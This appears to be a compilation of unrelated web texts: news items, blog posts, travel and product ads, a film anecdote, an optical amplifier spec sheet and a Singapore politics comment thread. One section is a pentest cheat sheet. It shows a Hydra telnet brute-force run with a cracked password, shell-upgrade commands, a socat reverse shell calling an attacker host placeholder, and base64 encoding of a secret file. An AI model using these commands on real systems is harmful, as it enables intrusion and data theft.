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Posted: Tuesday, June 6, 2006
The launch of the NASA Orion sounding rocket carrying experiments developed by students from across the country that was scheduled for June 7 has been postponed. The weather is not expected to be favorable in the morning. The launch window is 6 to 9 a.m., Thursday, June 8. The launch will be web cast at www.wff.nasa.gov/webcast beginning at 3:30 a.m.
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Veteran scriptwriter Kaloor Dennis talks about his experiences in the films, 'James Bond' and 'Minimol Vathicanil'
Photos: Kaloor Dennis by Ratheesh Sundaram; the poster of the film, 'James Bond'
By Shevlin Sebastian
When scriptwriter Kaloor Dennis was introduced to the producer of the film, 'James Bond' in 1997, he got a surprise. His name was Noor, a Malayali, who had come from Mumbai. This was Noor's first film.
"After reading the script, he okayed it," says Dennis. "Noor was very prompt with the payments. Before the movie began he gave me the full amount for writing the script."
But whenever Dennis went to meet Noor, at an apartment in Kochi, there would be a rifle in plain sight, on the table in front of him.
The film was loosely based on the 1994 Hollywood hit, 'Baby's Day Out'. But when director Baiju Kottarakkara suggested getting a local baby to play the main lead, Noor insisted on his baby. "It was a foreign child," says Dennis. So Baiju had to agree.
"From the beginning Noor had issues with Baiju," says Dennis. "He would tell me, 'He is not okay'. I had a suspicion that Noor was connected to the underworld in Mumbai."
Meanwhile, there were other dramatic developments. Kalabhavan Mani had a role in the film. On the day he was supposed to join the set, he went missing. When Noor heard that Mani had gone to another film set, at Mundakayam, he became incensed. He ordered ten henchman to come from Mumbai. When they landed, they went and met Mani, and threatened him.
The frightened actor returned with the hoodlums, and ensured that he finished his schedule on time. But, later, he complained about the threats to the Association of Malayalam Movie Artistes (AMMA). The organisation launched an investigation. "But Noor did not care a damn about AMMA," says Dennis.
Meanwhile, the shooting came to a sudden halt because the baby fell ill. When the director suggested getting another baby Noor refused. Eventually, Noor lost interest. He upped and returned to Mumbai with his gang members. Then Baiju got another producer, a new baby and completed the film. "It did reasonably well at the box office," says Dennis. "But none of us will ever forget Noor."
Dennis will also not forget the location shoot in Germany for 'Minimol Vathicanil'. One day, in September, 1984, director Joshy as well as actors, Soman, Saritha and Dennis were travelling in a car near Berlin. "I was sitting in front, while the other three were at the back," says Dennis. "And we were having a lively conversation. Suddenly I began to hear a sound. I was not sure whether it had anything to do with the car. But I had an intuition that something was wrong."
So Dennis told the driver to stop the vehicle. And when he stepped out Dennis got a shock. "The front tyre, on the left side, was completely shredded," he says. "We were moments away from a major accident." His colleagues thanked him profusely. "Ever since then whenever Soman would meet me, he would call me his guardian angel," says Dennis.
Meanwhile, after 25 days, Dennis, Ratheesh, Saritha, Swapna, Baby Shalini and her father Babu went to Frankfurt airport to return to Kerala. They checked in their luggage, and wandered about. Eventually, they arrived 45 minutes before the departure at the boarding gate, but were denied permission to embark. "We were supposed to check in two hours before. As a result, we missed the flight, but our luggage was loaded," says Dennis.
Later, when they landed in Mumbai, they did get their luggage, but many items went missing. "It was lying unattended for two days, so somebody took the opportunity to steal something," says Dennis.
(The New Indian Express, Kochi, Thiruvananthapuram and Kozhikode)

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Book talks, 12:15 to 12:45 : noon hour, every Thursday Nov. thru Apr.
Work Projects Administration Poster Collection (Library of Congress).
Daily Thoughts 11/24/2009
I am still reading Moral Panics and the Copyright Wars by William Patry. Currently, the book is focused on copyright as a form of property. It describes the issue of whether copyright is a natural right or is a created social phenomenon that is governed as a commodity. There is quite a bit on the congers or early book trade groups in England. This is an entry from Wikipedia. I am not saying that it is 100% correct, it is interesting though. http://en.wikipedia.org/wiki/Conger_(syndicate)
I also watched some more of Cowboy Bebop, the anime series which is turning out to be quite entertaining. I like the data dog, a Welsh Corgi named Ein, it is my favorite character.
I took a short break from reading Moral Panics and The Copyright Wars and started reading Makers by Cory Doctorow. This is a science fiction novel about the near future. It hits the dot com and high tech world like a nail on the head. It is about a new technology revolution that is coming in the near future, fabbers, or three dimensional printers capable of working with metals, plastics, composites, and other materials combined with robotics and microchips in machine shop settings. The ability to custom make almost anything up to the size of a refrigerator in a small factory.
I found this on linked in. It is two more conferences focusing on the space between libraries and publishers. Timothy Dickey mentioned it in the ALA group. There is a very fine annual conference of librarians, publishers, and vendors in Charleston, SC (just completed for this year): http://katina.info/conference/
Also, OCLC has begun to host an annual symposium to explore metadata needs between librarians and publishers: http://www.oclc.org/publisher-symposium/


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A stay at MainStay Suites places you in the heart of Williamsburg, convenient to Colonial Williamsburg Visitor Center and Governor's Palace. This hotel is within close proximity of Powell House and Bassett Hall. Enjoy recreational amenities such as an indoor pool and a fitness center. This hotel also features complimentary wireless Internet access, concierge services, and gift shops/newsstands. Featured amenities include a business center, complimentary newspapers in the lobby, and a 24-hour front desk. Make yourself at home in one of the 50 air-conditioned guestrooms. Complimentary wireless Internet access keeps you connected, and cable programming is available for your entertainment. Conveniences include desks and complimentary newspapers, and you can also request cribs/infant beds.
Reviews: Hotel Mainstay Suites Williamsburg
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FYI - I have changed the settings for comments so you have go through an authentication step - just type the word that you see and that should be all you need to do. The blog was being hit by a lot of "bots" - hoping this cures the issue. Let me know if you experience a problem.
You'll notice that I added back the world map showing real time and historical blog hits. There was a bug that has been fixed and it seems to be working o.k. now.
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LOS ANGELES (CBSLA.com) — A Southern California college student Friday announced a federal lawsuit against a California Highway Patrol officer for alleged excessive force against a young woman.
According to the lawsuit, Cal State University Los Angeles student Aloni Bonilla alleges CHP Officer Jose Ramirez used excessive force during an encounter on March 21, 2012, after Bonilla was pulled over for suspicion of driving under the influence.
KNX 1070's Jon Baird reports after a breathalyzer test at the scene found traces of alcohol, the 25-year-old Bonilla was arrested and transported to Queen of the Valley Hospital in West Covina for a blood sample


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Some useful tricks that could be useful to get a shell
c:\PENTEST\thc-hydra>hydra -L username.txt -P passlist.txt 10.10.10.xx telnet Hydra v8.7-dev (c) 2018 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2019-03-03 19:19:13 [WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available [DATA] max 16 tasks per 1 server, overall 16 tasks, 24 login tries (l:6/p:0), ~4 tries per task [DATA] attacking telnet://10.10.10.xx:23/ [23][telnet] host: 10.10.10.98 login: admin password: secretpw [STATUS] 24.00 tries/min, 24 tries in 00:00h, 0 to do in 01:00h, 1 active 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2019-03-03 19:20:18
- You can setup a simple web server using Python or PHP.
- Python:
python -m SimpleHTTPServer 8080
And a simple HTTP server will be listening on your 8080 TCP port.
php -S 127.0.0.1:8080
And a simple HTTP server will be listening on 127.0.0.1:8080.
upgrading shells
- Python with "pty":
python -c "import pty; pty.spawn('/bin/bash')"
- Socat
On your localhost (attacker):
socat file:`tty`,raw,echo=0 tcp-listen:443
On your victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST_IP>:443
You will need to do all of this via the command line. Given you're already dealing with Base64 data I am going to assume you know how to bring that up on your operating system. Scroll down to the relevant section based on your OS below, also substitute your file names as appropriate.
I am going to use .txt for the decoded data file extension and .b64 for the Base64 encoded file extension.
Note: encoding with the above command will leave a temporary file, tmp.b64, on your file system. If you do not wish to have that file present simply add this to the end of the command: && del tmp.b64
PS C:\Users\jacco> [Convert]::ToBase64String([IO.File]::ReadAllBytes( "C:\PENTEST\secret.txt")) ZGl0IGJlc3RhbmQgaXMgZ2VoZWltDQpncm9ldGplcyBQdWNr PS C:\Users\jacco>
Interesting links to read!
https://blog.ropnop.com/transferring-files-from-kali-to-windows/ (A lot of techniques to transfer files from attacker machine to a windows box)
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ (Upgrading simple shells techniques)


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ANABEZI CAMP (4 nights)
Located on the banks of the Zambezi River you will find the Luxury Tented Camp, one of Lower Zambezi National Park's premium safari experiences in a spectacular setting. This sumptuously designed lodge is nestled in a grove of shady Ana trees, with elevated wooden walkways meandering through the grounds. From your beautifully appointed and very spacious suite (which has a private plunge pool and daybeds overlooking the floodplain) you are able to observe the river and the passing parade of wildlife in luxurious surroundings. With a host of activities on offer, you are able to explore the myriad wonders of this unique region on game drives and safari walks, as well as take to the river by canoe or boat for bird watching or game fishing. Anabezi will appeal to seasoned safari hands and newcomers alike with its stunning location with an easy distance of Lusaka, wide choice of activities, superior service, and magnificent cuisine.
LION CAMP (4 nights)
Lion Camp is a hidden Gem located in the northernmost reaches of Zambia's South Luangwa National Park; one of the best places in Africa for an authentic wilderness safari. Being away from the park gates we can provide a safari like it should be – abundant game viewing and few other vehicles. Easily accessible from Mfuwe Airport, Lion Camp operates between May and October in a pristine ecosystem and provides the perfect balance of authentic bush and luxurious comfort. Elevated above the Luangwa Valley floor with a 'tree house' aesthetic, our canvas and thatch suites connect to the main area with a central winding walkway. All the suites have spectacular panoramic views of the oxbow lagoon and feature a shaded private deck.
Book 2019/2020 – Fully Inclusive 8 nights for the price of 6. Rates shall include:
ALL: Activities, meals, beverages, accommodation, laundry and Internal transfers, non-premium brand beverages
Rates exclude: Premium brand spirits and items of a personal nature (i.e. purchases and gratuity)
Activities include: Game drives, walking safaris, boat trips, fishing, canoeing and birding. Children may participate in activities with the consent of their parents and the head guide.
Booking and Payment Policy
• A 30%deposit is required for a booking
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Laura Lee Northern Star Necklace, 9ct White Gold
Catalogue code: 8026776
Product description
Let these Laura Lee Northern Star Drop Earrings find their way home to you. Crafted from sterling silver, the stellar antiqued pendant charm features rough-cut diamonds and hangs from a 9ct white gold chain. An exceptional addition to your jewellery collection, complete the set with the matching Northern Star Drop Earrings.Material: 9ct White Gold and Sterling SilverChain Length: 18"Star Dimensions: 13mm(H) x 13mm(W) x 2mm(D)


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Discover the notable alumni of University Of Bristol. The list includes people like David Walliams, Simon Pegg, James Blunt, Alice Roberts & Paul Dirac. This list of notable alumni is loosely sorted by popularity and has people from different domains of life, such as scientists, media personalities, writers, film & theater personalities and leaders etc.
Located in Bristol, United Kingdom, the University of Bristol is a redbrick research university which traces its roots back to 1595. The university offers over 200 courses across departments such as Arts, Engineering, Biomedical Sciences, Science, Health Sciences and Social Sciences and Law. With undergraduate, postgraduate and junior and higher doctorates, the university creates a perfect learning environment for its students to thrive professionally. League Tables consistently place the University of Bristol among the top ten universities in the United Kingdom. Bristol was also ranked 76th in the world as per the 2017 edition of the U.S. News & World Report. The alumni's and graduates of the university are renowned for their excellence in work, that Bristol was positioned 15th in the world for their reputation with employers, thus being placed higher that numerous Ivy League colleges. Being on the environmentally conscious side, the university has contributed immensely to providing a sustainable environment within the campus by winning numerous awards. Bristol was also the first city in U.K. to be deemed with the Green Capital status. The university facilitates diversity through and through, and gives more than 500 of its students the opportunity to partner with European Institutions. Many honored celebrities such as Simon Pegg, Matt Lucas, David Williams and Paul Dirac have attended this institution. Keep scrolling to view the complete list of famous personalities who are alumni's of the University of Bristol.


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2016.11.22 | Opslag
From 28 November 2016, new parking rules will be introduced for Trøjborgvej, Tåsingegade and the Nobel Park.
2016.02.23 | Opslag
Are you motivated by practical work and experience, and do you want an idea of what the labour market is really like? Then the courses in culture production offered by the new 2017 Academy Summer Schools might be just the thing for you. The deadline for registering is 15 March.
2016.01.25 | Opslag
Monday 25 January sees the launch of the new bss.au.dk, which introduces a series of improvements. Here, we have listed the five most significant advantages of the new website compared to the old one.
2016.01.18 | Opslag
Now all students can download Windows 10 for free. However, please note that Aarhus BSS IT does not offer support for this product.
2016.02.10 | Opslag
Are you a student working on a start-up? Are you ready to boost your start-up and grow? Join the SPININ growth program where entrepreneurs and established companies exchange knowledge, experience and inspiration - free of charge.
2015.10.12 | Opslag
How can you get better at giving and receiving feedback? And why is good feedback important in the first place? Read on to find out!
2015.09.09 | Opslag
In a new campaign, East Jutland Police warn students against buying goods at prices that seem too good to be true. It might be stolen goods.
2015.01.30 | Opslag
QR codes in all classrooms will enable you to see when each room is booked - and by whom. This will help prevent any misunderstandings and problems with double bookings.
2014.11.18 | Opslag
From now on, the Main Hall at Fuglesangs Allé should be referred to as 'Fuglesangssalen'.
2014.11.13 | Opslag
A digital community for backpackers staying at hostels is the essence of the new app Comundu. AU student Mia Grosen is the person behind the app and her company will soon be ready to go live with the app.


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I've had an interesting week. John's sisters flew into town and we all had dinner last weekend. We laughed. I laughed.
Then, the following day there was a loss in his family. Sudden. Unexpected…. and those tears of laughter quickly turned to tears of sorrow.
So much life. So much intensity…. Continue reading


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Tuesday, July 26, 2011
I am almost moved into my house, and in fact I am setting up my office today so I should be back in the groove soon.
Sunday night we had Dredg, Fair to Midland and The Trophy Fire playing. I had never heard of any of them before, but they were mostly all right. Still not exactly my type of music, but better than the hardcore stuff I tune out.
Dredg did give me signed copy of their LP. I am a bit tweaked by their embellishment of girl parts they added when signing ( I would have been pissed if I had actually paid for it). One of the attendees made some HD recordings of the show. One from Fair to Midland and one from Dredg.
I happened to quite like the opening band, The Trophy Fire best. They did a fabulous cover of "Heartbeats" by The Knife. Here is a link to it at a different club.
"Heartbeats" - The Trophy Fire (cover of The Knife)
Here are some live videos from my new club:
"Whiskey and Ritalin" - Fair to Midland
"Not That Simple" - Dredg with Ben Flanagan of The Trophy Fire
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IN A tweet I posted yesterday, I got reminded of this: "A friend is someone with whom you dare to be yourself."
And it reminds me of someone today.
For close to six years, Giant Paulo has directly reported to me at work. He has got to be the most quiet, most steady engineer I have ever come across. Before he moved to my team, I was told by his previous manager that in his batch, he was the best. Oh, the silent worker type. I took his word for it. Time went on and I did prove it to myself to be true.
These past couple of years – especially after the time I had moved to the office space adjacent to his – I have to say that Giant Paulo and I have become really good friends. The kind that goes beyond asking "How are you?" or "How's your family?" rhetorically. It's the kind that asks those questions and waits for the answers. "TMI" seemed to not have been part of our vocabulary. (TMI – too much information.)
Now that he has moved to Singapore, I am left with fond memories of a great engineer, and an even greater friend. It does help that I have memories of us singing together to look back to – I'd sing the lead vocals, he'd provide the backup and would sometimes beatbox! I still hear it in my head: "…it's not like the movies at all."
"Boss, hindi ganyan. Slang yung 'movies'. It's like mow-vies." Hahaha!
Today, the 22nd of February is his birthday. Happy birthday, Giant Paulo!
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Sunday, March 3, 2013
This will be a busy week. My son's birthday is Friday. He will be 17. We are going out Thursday with his grandparents for dinner, Friday we will be at my brother's house celebrating all of the March birthdays (4 kids and 2 adults), Saturday my sister and I are cooking a special lunch for my father whose birthday is today. He is 79. We are having a family favorite of tongue with BBQ sauce and 3 bean salad, apple crisp (it will be my first time making this) and ice cream! So lots of fun to look forward to this week.
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- Meari said...
That is a really cool puzzle. I like the colors, too.
Nice progress on your WIPs. The colors on Amish Star pop right off the fabric.
- March 12, 2013 at 6:43 AM
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ATLANTA (TNS) — Atlanta Public Schools is dealing with another cheating investigation. A quarter of the police officers in the district's recently sworn-in force admitted receiving answers on a state-administered test.
Disciplinary proceedings are coming for at least 18 employees. One dispatcher allegedly fed answers to 17 officers while they took the open-book, 30-question, multiple-choice exam.
Police Chief Ronald Applin said punishment could range from a written reprimand to dismissal.
APS also sent findings of an investigation it authorized to the Fulton County district attorney's office, which would determine if the cheating should be prosecuted as a crime.
"Integrity is what we're all about. We want to make sure … that we can be trusted," Applin said.
Atlanta school officials have assured the public in recent years they are working to change the culture that fostered a cheating conspiracy in which teachers corrected student answers on standardized tests. Eleven APS teachers and administrators were convicted of racketeering in 2015 in a trial that drew national attention to the roughly 50,000-student district.
Applin said that history prompted him to be "as transparent as possible" after a WSB-TV reporter, acting on a tip, inquired about allegations of police officers cheating on a state test officers must pass to access a computer network of criminal databases.
Every two years, users of the Georgia Bureau of Investigation-managed Criminal Justice Information System must be trained and tested on how to appropriately access data. The system provides millions of confidential records — including criminal history records from the FBI and other states as well as motor vehicle and driver's license information.
In October, Applin asked an outside law enforcement agency, which he would not name, to investigate. A week ago, he received the initial findings of that investigation, based on interviews with 48 employees. Fulton County District Attorney Paul Howard, Jr. reported his office received a summary of the investigation Thursday.
An investigator found problems including 17 officers who admitted receiving test answers. Applin said officers didn't receive help with every question, just those they had trouble with.
"When officers called into the dispatch center requesting assistance with locating answers, a dispatcher provided significant assistance with locating answers and/or providing answers to officers while they were taking the exam," stated an investigative summary APS provided.
The exam lets test-takers go back to reference material while answering questions. But they must certify that the work is their "sole product" and "any discussion of these courses with others is not permitted."
The same paragraph also states the test-taker acknowledges that "allowing another person to complete any of these courses using the user ID and password assigned to me is a violation of false official certificates or writings" — a felony punishable by up to five years in prison.
GBI Director Vernon Keenan said, "The officers or anyone else who is taking the training must certify that they have done the training; and they have not circumvented any of the safeguards which are in the testing process, that they have not shared answers, (that) they have completed the test as it is designed." he said.
Keenan said he cannot comment on the specifics of the APS situation but reporting the findings to the district attorney to determine if a crime took place should be standard procedure.
The school district, in a written statement, said its police department "has followed and will continue to follow all appropriate protocols and procedures in this case and will proceed based on the guidance of the district attorney."


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Arris Trans Max4100 optical amplifier
More Customers, More Reach
- The TM4100-A provides C-Band optical amplication for reach up to 100 km in downstream architectures
- Allows for cascading architectures
- Optional optical A/B switch module for support of redundant optical congurations
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- Single unit accommodates up to 6 transport bers
- Supports multiple wavelengths on as few as a single ber with CHP CORWave™ II multi-wavelength forward transmitters and bidirectional optics
Lowered OPEX
- Parts commonality with the Opti Max™ OM4100 optical nodes reduces sparing and inventory SKUs
- Allows easy eld conversion from an OM4100 node to a TM4100-A conguration
- Dual redundant load sharing power supplies
- Optional DOCSIS based HMS monitoring
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The Trans Max TM4100 C-Band optical ampliOer (TM4100-A) is an essential part of HFC long haul networks for optical ampliOcation of signals on links of up to 100 km. This Oeld optical ampliOer extends the reach of C-Band optical signals and can be cascaded in series. An optional optical A/B switch module provides high performance network protection and optical redundancy for improved customer Quality of Experience (QoE) by supporting redundant optical conOgurations. Functions include automatic, manual, and remote switching, and AC or DC redundant load-sharing power supplies. Optional remote monitoring through CORView EMS of TM4100 products with digital return transmitter (5-65-85 MHz currently) can reduce unplanned outages.
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A single TM4100-A can be conOgured to accommodate up to 6 transport Obers and supports bidirectional optical architectures for forward and return transport. When used with the CHP CORWave II forward transmitters, multiple wavelengths can be supported on as few as a single Ober if desired. Modules include single output with constant gain or constant power at 17 or 21 dBm, single output with constant gain at 20.5 and 23.5 dBm, or a dual output with constant power at 19 dBm per port. No special RF accessories are required for set up of the optical ampliOer ˇV conOguration and monitoring is done via the craft GUI. Customized optical passives platforms support a wide range of optical designs and facilitate ease of installation.
Lower OPEX with Reduced Inventory SKUs
Commonality with OM4100 optical nodes reduces sparing and inventory SKUs of the housing, power supply modules, return transmitters, EDFA modules, and interface board. This commonality also allows conversion from an OM4100 node configuration to a TM4100-A if needed.


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Michelle & I truly hope everyone who eventually reads this enjoyed a personally satisfying holiday; we certainly have. We're very much missing our Ghosts, but thankful for the family we still have around us.
Christmas day….and it's 85F outside? Yah, this is south Florida, but that still close to a record here in Fort Myers. And it's very humid – feels like June. (Edit: final official high was 87F,which did indeed break the old record of 86. Yikes.)
Regardless, we just completed our move from the condo (now occupied by family visitors) to the boat – although it may take a few more days to get all this stuff stowed somewhere less, um, obvious. Gotta admit, though, the boat has gobs of storage space. Now if we can just remember where we put it all…or where Michelle moved it afterwards.


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Cheng Bock and 40 ex PAP MPs to stand for WP
This came from Tan Kin Lian's post in he TRE titled 'Nice to hear cabby said PAP to lose 4 GRCs'. And Kin Lian added this, 'His taxi driver friends had privileged information that Dr TCB and 40 ex PAP leaders will contest under the Workers Party banner. Wow! He made the statements in a most convincing manner. He believed in the reliability of his source. His friends had attended meetings where these matters were discussed.'
OK, don't get over excited by this piece of news. I know it is very sexy. Kin Lian also commented that it is likely to be a rumour. So it is unlikely to be true. But there is a likelihood that it was true because he did not said it is definitely a rumour but likely to be a rumour.
How true could this be? In the days when the Oracle is still around this is a definite NO. Who would dare to go against the Oracle and stare him in his face. So, now that he is gone, the possibility cannot be totally ruled out. And there are good reasons for this to be a possibility.
Remember, the PAP started very well with many pro people policies that warned the support of the people. Those days it was called winning the hearts and minds of the masses. And they did. And the ex PAP members were the ones that did that. These people have the right thinking and have their hearts in the right place. They are different. If not they would not be able to win the support of the people for so long. If not Singapore would not be what it is today.
If there are 40 ex PAP MPs willing to stand with the WP, the game is over. There is no where the young newbies could stand a chance against the seasoned oldies that did it, who had done that, whose great works should be rightly accredited to them, not to the newbies who have done what? All the gloating of the PAP were the achievements of the past by the ex PAP MPs and pioneer leaders.
So, if this is true, I also find it difficult to believe, yes, it will be game over. But I also agree with Kin Lian that even if it is not true, it is nice to hear about it. It is a pleasant dream even in broad daylight.
Maybe the opposition parties should take the cue and work on these ex PAP MPs, the good men and women of yore.
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This has always been in the mind of Sinlies long before the passing of the Oracle. Now that he is not around, there is a high probability that this will happen.
- June 05, 2015 11:30 am
Don't forget, the ex-PAP, some of whom, like Cheng Bock, are probably held hostage by the long service benefits dished out by the PAP if they serve the PAP for a number of years. I do hope that I am not mistaken. Will they forsake their lucrative benefits to stand for the WP? Hard to swallow, but this piece of news left a nice taste in the mouth.
- June 05, 2015 11:40 am
"If there are 40 ex PAP MPs willing to stand with the WP, the game is over. There is no where the young newbies could stand a chance against the seasoned oldies that did it, who had done that, whose great works should be rightly accredited to them, not to the newbies who have done what?"
Not true lah.
LKY say many times already, PAP is a meritocracy.
So the ex PAP MPs must have been replaced because LKY found the young newbies to be of better merit tio bo?
So if the young PAP newbies are of better merit ... for sure they can defeat all these ex PAP MPs.
40 or 400 no difference lah.
They have been replaced because they did not pass LKY's standard.
LHL pass LKY's standard of meritocracy.
That is why LHL is PAP's Prime Minister.
- June 05, 2015 12:27 pm
"Will they forsake their lucrative benefits to stand for the WP? "
June 05, 2015 11:40 a.m.
You mad ah?
Enjoy retirement and all the benefits or stand for WP to serve Singaporeans?
Serve Singaporeans?
The very same daft idiots who keep voting PAP year after year, election after elections.
You must be mad.
- June 05, 2015 12:30 pm
Coming from Kin Lian who lost his election deposit in PE 2011, u cannot take this too seriously lah, unless it is about insurance and financial planning matters.
And if "Cheng Bock and 40 ex PAP MPs to stand for WP" can really happen, Kin Lian would had also won PE 2011 and become our President now. And RB would also had contested GE 2011 and become a opposition MP now, and not a remisier and anti PAP blogger.
So take anything political from Kin Lian or even RB, with a table spoon of salt.
- June 05, 2015 12:46 pm
Anno 12:46. It is Hope that keeps people alive.
- June 05, 2015 1:44 pm
Exaggerated also must gave class la, talk like farting. 40 boh! Even if Goh K S, Lim K S, Toh C C, Rajaratnam, defeated/outclassed G Yeo and Co all join in also no more than 20 la. Somemore a few years later all become senile. Who want to vote for them.
They better drink kopi with Tan Kin Lian at kopitiam la, .
- June 05, 2015 2:30 pm
Including those dead and buried also cannot find 40? Boh haosio boh kong!
- June 05, 2015 2:52 pm
I think the ruling party will destroy and real contenders before the election if this is true.
- June 05, 2015 3:10 pm
This is definitely the SG50 greatest joke!
- June 05, 2015 4:03 pm
- Goh said...
See? How to be leader when one cannot keep sensitive secret and reveal such hearsay.
Tan how lian ended up gong gong putting others on alert or cause false alarm.Got 40? Maybe get that See Ah Muay who wash hand immediately after handshake or Miko who slept with Lora.
What we need is integrity , quality and not quantity.
Talk oso must have brain else how to make me vote with confidence.
- June 05, 2015 4:03 pm
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- June 05, 2015 4:04 pm
If true, the dogs will be digging furiously in the backyard for buried bones, real or imaginery. Lots of skeletons will also come out from cupboards as well, and 'toa kias' will be given incentives to come forward with juicy tales to stick on to the class of unpredecented 40.
SG50? Things do happen once in 50 years leh.
- June 05, 2015 4:09 pm
Talk oso must have brain else how to make me vote with confidence.
June 05, 2015 4:03 p.m.
Good to know you voted for Tin Pei Ling with confidence.
- June 05, 2015 4:58 pm
Seniles talking cock
feeling good.
- June 05, 2015 5:35 pm
Low Thia Khiang: WP not ready to be government
Really matilah Singapore. Everything also not ready.
- June 05, 2015 8:48 pm
Singaporeans - Not ready to vote out PAP.
Poor Amos. Sacrifice himself for the Sillyporeans. Die for nothing. What a waste.
- June 05, 2015 10:55 pm
Even the 40 ex pap mps were to stand for elections against their own ex party, will also not vote for them.
if all long, they do not do anything as parliamentarians in the past to do what they supposed to do to serve the people whether ad ruling or opposition mps, think they do now if elected????
- June 06, 2015 4:00 am
"if all long, they do not do anything as parliamentarians in the past to do what they supposed to do to serve the people whether ad ruling or opposition mps, think they do now if elected????"
June 06, 2015 4:00 a.m.
Aiyah! You are too harsh lah.
Maybe the 40 ex PAP MPs were scared of L*Y mah.
So maybe everyday they kee chiu to everything L*Y say lor.
Just like you and all the other Singaporeans mah.
When L*Y speaks, every Sillyporean listens, kee chiu and votes PAP lor.
- June 06, 2015 8:11 am
I think it is not 40 ex-PAP Members but Faulty axed-PAP Members, they could be anyone from the lowest rank (ordinary members like me and my friends) to the highest CEC level. If this is the case, then you can even get 400 axed-members.
I also think they could be intentionally field in by the PAP to infiltrate into
the WP camp and take over WP, and then destroy WP, just like what has happened
to the SDP.
- June 06, 2015 8:17 am
If indeed "Cheng Bock and 40 ex PAP MPs to stand for WP" in coming GE, then of course there is more to it than meets the eye.
If not, such things would have already happened in GE 2011 when daft, suffering, money no enough Sinkies then were in as bad a situation, if not worse, than now.
- June 06, 2015 8:38 am
If it did not happen in 2011, it will never happen.
If RB is not an opposition MP by now, he will never. Tio bo, RB?
- June 06, 2015 8:41 am
No wonder the Sinkie opposition is still not ready to be govt even by now, as was in 2011.
Now even lagi not ready, with "Madcow" Goh Meng Seng with his latest "Playing Party Pooper". And he may not be the last, more to come. Stay tuned.
- June 06, 2015 8:46 am
40 ex-PAP MPs.
If they are of any calibre and pride would form their own political party tio bo?
- June 06, 2015 8:58 am
If they are of any calibre and pride would form their own political party tio bo?
8:58 a.m.
Tiok. And also the leader will announce that their party will, just like the PAP, contest 100% seats as one party in next GE.
If not, they will not even want to join oppositon politics, much less to form another party.
Only those "more to it than meets the eye" type like Madcow Goh or even Hainan Ah Ko will form new parties without announcing their party will contest 100% seats and ready to be govt.
- June 06, 2015 9:26 am
Maybe, this is just like the con about having NCMPs in Parliament, to fool people that there is no need for opposition.
Now, if let's say, the 40 form another party, contest the GE and some get into Parliament. Who is to say that this is not another trick and that the 40 are still basically, as they say, 'ka ki nan', PAP by another name smells just the same.
- June 06, 2015 2:17 pm
Maybe the only good pig is a dead pig.
- June 06, 2015 7:01 pm
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This weekend sees another milestone in our lives, and an exciting one at that! This weekend I will be attending my very first second birthday party (I think since I was two). It is the party of a very special little lad who is the son of two great friends. I cannot wait!
It is funny how life changes as I can't imagine getting all that excited about going to a children's birthday party a few years ago! (Although the last children's party we went to a couple of years back involved a trip to the Early Learning Centre which made Joel more keen than ever before to have children!) But in this season I am really looking forward to celebrating this wonderful little life.
I have been thinking about what to get him for his birthday for ages and finally settled on a gift only to discover whilst at their house today that he already had something very similar. I was mildly gutted but not too heartbroken as I means I get to go shopping for toys again. 🙂 I am excited about baking the number 2 shaped cookies for the children to decorate and for seeing the excitement on this little chap's face when he sees his friends and his presents. I am excited that before too long it will also be my little one's turn to celebrate his birthday.
One of the best bits about a birthday party is the moment when the cake comes out with the candles lit and everyone sings happy birthday. It is so lovely to see the sheer delight on the child's face (adults are less fun as they usually just look awkward) and everyone in the room gets to sing to the child and delight in them and their happiness. And then you get to cheer for them! How wonderful!
That moment of joyful singing and cheering reminds me of Zephaniah 3:17 which says:
The Lord your God is with you, the Mighty Warrior who saves.
He will take great delight in you;
in his love he will no longer rebuke you,but will rejoice over you with singing.
To me this is such a beautiful image of God, His love for us and how precious He thinks we are. He celebrates us, sings over us and cheers for us each step of the way, every day! For me that image just makes me smile and reminds me what an amazing God I worship!


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I am currently in the middle of a series of posts titled, "All Mixed Up, Don't Know What To Do". However, the Lord has been teaching, and speaking to me lately about my desperation for Him, or lack thereof. I will be writing a few entries on desperation, and pick back up with the series shortly after…
"Inashmuch as these people draw near with their mouths and honor me with their lips , but have removed their hearts far from me, and their fear toward me is taught by the commandment of men, therefore, behold, I will again do a marvelous work among this people, a marvelous work and a wonder; for the wisdom of their wise men shall perish, and the understanding of their prudent men shall be hidden."
Isaiah 29:13-14 (NKJV)
Notice the title to this post is The Godless, and not the godless. We are certainly not "little 'g' godless". We serve many "little 'g' god's". It is as if "Big 'G' God" has been pushed from our society, culture, church, and country right out from under our noses. In Revelation 3:20 Jesus says, "Behold, I stand at the door and knock. If anyone hears My voice and opens the door, I will come in to dine with him, and he with Me." This letter was written to the lukewarm church. Alan Hirsch, the author of "The Forgotten Ways", has responded to this verse by saying, "How in the world did Jesus get outside of the church in the first place?"
We live in a day, time, and country unlike any other in the history of the world. In America we have "freedoms", and opportunities that surpass that of any other place in the world. People die trying to get into our country to experience "a better life". The foundation of our country was built upon God, and the Ten Commandments. We've got it all together, right? We are a Christian nation, right? Wrong. (When I refer to "Christian Nation" I do not mean that many people sit in a church building on Sunday morning. We've got that part down. I am referring to radical followers of Christ who take the Gospel seriously, and die to themselves daily in pursuit of the growth of the kingdom of God; this is something I struggle with daily). But what other country has a cluster of states referred to as "The Bible Belt"? What other country has a church on every corner? We are desperate for God, right? Wrong. We DO NOT need God, right? Right?
This idea of desperation and need go hand in hand. If you do not need someone, or something, then you are not desperate for them. If you are not desperate for them, then you certainly do not need them. This word desperation has intrigued me lately. The root of the word is desperate. Are we desperate for anything other than "The American Dream" that we cling to so…desperately? The definition of the word is: a state of despair, typically one that results in extreme or rash behavior. So, are we desperate? Yes, for many things, but not for God. Does our desperation result in extreme or rash behavior? Yes, our pursuit of comfort and security has led to greed and complete self-dependence. We have successfully removed the need of God from our lives. After all, we have everything we could ever need, and most of what we want. If we are hungry we instantly fill our stomachs. If we are hot we crank on the A/C. If we run out of something we simply go to the store and buy it. If we want something we cannot afford we finance it. If we need to contact someone we pick up our cell phones, which are now in the hands of six year-olds! If we get a flat tire we call roadside assistance. If we're sick we immediately go to the doctor and get drugs prescribed. (No need to pray to the God we're supposed to be desperate for to heal us). I could go on and on. Are these things bad? Not necessarily, but where does God fit into our daily lives? Is it even possible for us to be desperate for God? I, in 